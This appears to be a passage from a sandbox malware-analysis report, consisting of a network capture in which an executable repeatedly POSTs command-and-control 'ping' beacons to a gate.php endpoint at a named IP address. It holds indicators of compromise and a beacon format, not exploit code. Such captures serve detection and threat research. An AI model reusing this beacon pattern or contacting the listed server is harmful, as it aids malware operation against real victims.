Aug 15, 2021 08:41:12.438227892 CEST	7511	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:12 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:12.549695969 CEST	7512	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:12.577931881 CEST	7512	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:12 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:12.687172890 CEST	7512	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:12.715472937 CEST	7512	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:12 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:12.831329107 CEST	7513	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:12.859669924 CEST	7513	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:12 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:12.971024036 CEST	7513	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:13.001718044 CEST	7513	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:12 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:13.112181902 CEST	7514	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:13.139931917 CEST	7514	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:13 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:13.250396967 CEST	7514	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:13.281311989 CEST	7514	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:13 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:13.391376019 CEST	7514	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:13.419384956 CEST	7515	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:13 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:13.532027960 CEST	7515	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:13.561928988 CEST	7515	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:13 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:13.673530102 CEST	7515	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:13.705354929 CEST	7516	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:13 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:13.812033892 CEST	7516	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:13.839934111 CEST	7516	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:13 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:13.952447891 CEST	7516	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:13.980300903 CEST	7517	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:13 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:14.096137047 CEST	7517	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:14.126729965 CEST	7517	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:14 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:14.234775066 CEST	7517	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:14.267534971 CEST	7517	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:14 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:14.374897003 CEST	7518	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:14.404362917 CEST	7518	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:14 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:14.517381907 CEST	7518	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:14.546333075 CEST	7518	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:14 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:14.655720949 CEST	7519	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:14.683619976 CEST	7519	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:14 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:14.800961018 CEST	7519	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:14.830456972 CEST	7519	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:14 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:14.953558922 CEST	7520	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:14.981503010 CEST	7520	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:14 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:15.096416950 CEST	7520	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:15.125152111 CEST	7520	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:15 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:15.252784014 CEST	7521	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:15.280538082 CEST	7521	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:15 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49773	94.103.80.169	80	C:\Users\user\Desktop\q2t57gIiIY.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2021 08:41:15.422092915 CEST	7521	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:15.449501991 CEST	7522	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:15 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:15.563893080 CEST	7522	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:15.591900110 CEST	7522	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:15 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:15.702766895 CEST	7522	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:15.731245995 CEST	7523	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:15 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:15.845417976 CEST	7523	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:15.874969006 CEST	7523	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:15 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:15.987248898 CEST	7523	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:16.014933109 CEST	7524	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:15 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:16.125444889 CEST	7524	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:16.154211044 CEST	7524	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:16 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:16.270111084 CEST	7524	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:16.298048973 CEST	7524	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:16 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:16.409271002 CEST	7525	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:16.437446117 CEST	7525	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:16 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:16.546201944 CEST	7525	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:16.576261044 CEST	7525	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:16 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:16.691704988 CEST	7526	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:16.720684052 CEST	7526	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:16 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:16.829683065 CEST	7526	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:16.859102011 CEST	7526	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:16 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:16.974186897 CEST	7527	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:17.001719952 CEST	7527	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:16 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:17.109488010 CEST	7527	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:17.140187025 CEST	7527	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:17 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:17.250802994 CEST	7528	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:17.279256105 CEST	7528	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:17 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:17.390280008 CEST	7528	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:17.418159962 CEST	7528	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:17 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:17.532840014 CEST	7528	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:17.562453985 CEST	7529	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:17 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:17.671920061 CEST	7529	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:17.699712992 CEST	7529	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:17 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:17.814301968 CEST	7529	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:17.842086077 CEST	7530	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:17 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:17.953484058 CEST	7530	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:17.981195927 CEST	7530	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:17 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:18.094033003 CEST	7530	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:18.123054981 CEST	7531	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:18 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:18.234477997 CEST	7531	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:18.265078068 CEST	7531	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:18 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:18.390978098 CEST	7531	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:18.418627024 CEST	7531	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:18 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:18.537547112 CEST	7532	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:18.568351030 CEST	7532	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:18 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:18.688576937 CEST	7532	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:18.716623068 CEST	7532	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:18 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:18.828603029 CEST	7533	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:18.860189915 CEST	7533	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:18 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:18.969805002 CEST	7533	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:19.000910997 CEST	7533	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:18 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:19.110275030 CEST	7534	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:19.138895988 CEST	7534	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:19 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:19.250758886 CEST	7534	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:19.280637026 CEST	7534	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:19 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:19.393723965 CEST	7535	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:19.422307014 CEST	7535	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:19 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:19.534038067 CEST	7535	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:19.561693907 CEST	7535	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:19 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:19.672951937 CEST	7535	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:19.702052116 CEST	7536	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:19 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:19.814804077 CEST	7536	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:19.846045017 CEST	7536	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:19 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:19.970992088 CEST	7536	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:19.999742031 CEST	7537	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:19 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:20.112932920 CEST	7537	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:20.141602993 CEST	7537	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:20 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:20.249788046 CEST	7537	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:20.280350924 CEST	7538	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:20 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:20.390389919 CEST	7538	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:20.420830965 CEST	7538	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:20 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:20.533421040 CEST	7538	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:20.563661098 CEST	7538	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:20 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:20.674209118 CEST	7539	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:20.702904940 CEST	7539	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:20 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:20.816308022 CEST	7539	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:20.846251965 CEST	7539	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:20 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:20.956388950 CEST	7540	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:20.985455990 CEST	7540	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:20 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:21.097228050 CEST	7540	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:21.125710011 CEST	7540	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:21 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
